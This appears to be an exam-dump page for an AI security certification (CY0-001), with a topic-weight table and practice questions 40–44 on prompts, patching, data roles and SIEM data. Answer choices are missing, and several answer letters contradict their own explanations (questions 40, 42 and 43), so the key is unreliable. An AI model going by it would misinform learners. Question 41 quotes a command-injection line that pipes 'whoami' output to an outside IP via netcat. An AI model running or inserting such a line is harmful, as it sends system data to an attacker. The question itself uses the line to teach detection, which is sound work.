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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Operations and Incident Response | 16% | - Given a scenario, use appropriate tool to assess organizational security - Explain key aspects of digital forensics - Given a scenario, use data sources to support an investigation - Summarize the importance of policies, processes, and procedures for incident response - Given a scenario, apply mitigation techniques or controls to secure an environment |
| Topic 2: Architecture and Design | 21% | - Given a scenario, implement cybersecurity resilience - Explain the importance of physical security controls - Summarize authentication and authorization design concepts - Explain the security implications of embedded and specialized systems - Explain secure application development, deployment, and automation concepts - Explain the importance of security concepts in an enterprise environment - Summarize basics of cryptographic concepts - Summarize virtualization and cloud security concepts |
| Topic 3: Attacks, Threats, and Vulnerabilities | 24% | - Explain penetration testing concepts - Explain vulnerability scanning concepts - Compare and contrast types of social engineering attacks - Given a scenario, analyze potential indicators associated with application attacks - Explain threat actor types and attributes - Given a scenario, analyze potential indicators associated with network attacks - Given a scenario, analyze potential indicators to determine the type of attack |
| Topic 4: Governance, Risk, and Compliance | 14% | - Compare and contrast various types of security controls - Explain privacy and sensitive data concepts in relation to security - Summarize regulations, standards, and frameworks that impact organizations - Explain risk management processes and concepts - Given a scenario, follow organizational security policies and procedures |
| Topic 5: Implementation | 25% | - Given a scenario, implement secure host settings - Given a scenario, implement public key infrastructure (PKI) - Given a scenario, implement secure systems design - Given a scenario, implement identity and account management controls - Given a scenario, apply cybersecurity solutions to the cloud - Given a scenario, implement secure network architecture concepts - Given a scenario, implement secure mobile device policies - Given a scenario, implement authentication and authorization solutions |
>> CY0-001 Original Questions <<
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NEW QUESTION # 40
Which of the following types of prompts best describes a developer's input that informs AI interactions?
Answer: C
Explanation:
Option A is correct because a system prompt contains the developer- or platform-defined instructions that establish how the AI should behave throughout an interaction. It can define the model's role, objectives, prohibited actions, response style, tool-use boundaries, and security constraints before the user submits a request. That description matches an input supplied by a developer to govern later AI interactions. Option B is the end user's prompt or request; it expresses what the user wants in a particular turn and normally has lower authority than system-level instructions. Option C, zero-shot prompting, describes asking the model to perform a task without providing an example. Option D, multi-shot prompting, supplies multiple examples to demonstrate the desired input or output pattern. Neither zero-shot nor multi-shot identifies the authority or source of the instruction. In a secure AI application, system instructions should be protected from unauthorized modification, tested for conflicts, and reinforced with technical controls rather than treated as the sole security boundary. The essential distinction is prompt hierarchy: system instructions configure persistent behavior, while user prompts request individual tasks.
NEW QUESTION # 41
A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?
Answer: A
Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
NEW QUESTION # 42
A critical AI system cannot be shut down and must remain secure. Which of the following actions should be performed to apply controls?
Answer: A
Explanation:
Option B is correct because patching critical vulnerabilities directly removes or reduces known exploitable weaknesses while allowing the essential AI service to remain available. The organization should prioritize patches according to exploitability and impact, test them in a representative environment, use redundancy or rolling deployment where possible, and verify that remediation succeeded. Option A would weaken confidentiality and create an additional security exposure; encryption is not the obstacle to secure continuous operation. Option C is valuable as a detective control because log analysis can reveal abnormal activity, but it does not remediate a known critical vulnerability. Option D redeploys the production model, which may restore model files or configuration, but it does not necessarily update the vulnerable operating system, library, container, API, or orchestration component. For a system that cannot be shut down, the correct strategy is controlled patch management supported by high availability, maintenance coordination, monitoring, and rollback capability. NIST describes enterprise patch management as preventive maintenance that reduces the likelihood of compromise, breaches, and operational disruption.
NEW QUESTION # 43
An AI security administrator notices that the information referenced by the model is incorrectly formatted and missing values.
Which of the following job roles would most likely be responsible for correcting this error?
Answer: B
Explanation:
Basic Concept: In AI teams, different roles hold distinct responsibilities for specific aspects of the AI system.
Data quality issues such as incorrect formatting and missing values fall within the domain of data engineering, which is responsible for designing, building, and maintaining the data pipelines and datasets that feed AI models. CompTIA SecAI+ Study Guide covers AI team role definitions under governance and basic AI concepts.
Why C is Correct: A Data Engineer is responsible for building and maintaining the data pipelines, transformation processes, and data quality controls that supply AI models with properly formatted, complete data. Addressing incorrectly formatted data and missing values is a core data engineering responsibility, as these professionals own the ETL (Extract, Transform, Load) processes, data validation rules, and data quality frameworks that ensure the model receives clean, usable input.
Why A is Wrong: A Platform Engineer designs and maintains the computing infrastructure and platforms that host AI systems. Their focus is the technical environment and deployment infrastructure, not the quality or formatting of the data consumed by models.
Why B is Wrong: An MLOps Engineer manages the deployment, monitoring, and operational lifecycle of AI models in production. While they may detect data quality issues through monitoring, resolving data formatting and missing value problems is the responsibility of data engineers who own the data pipelines.
Why D is Wrong: An AI Architect designs the overall AI system architecture, component interactions, and technical strategy. While they define data requirements, the hands-on work of correcting data formatting errors and filling missing values belongs to the data engineering function.
NEW QUESTION # 44
A group of security engineers is developing a security incident and event management (SIEM) system that will:
- Be able to ingest data from multiple structured and unstructured
sources.
- Have a chatbot integrated with a large language model (LLM) that the
security analyst can interact with.
- Provide insights from the SIEM alert data.
Which of the following techniques should the security engineers consider before collecting the data from the respective sources?
Answer: C
Explanation:
Data cleansing ensures that structured and unstructured data ingested into the SIEM is accurate, consistent, and free from errors or irrelevant information. This step is critical before integrating with an LLM chatbot, as clean data improves the reliability and quality of insights generated.
NEW QUESTION # 45
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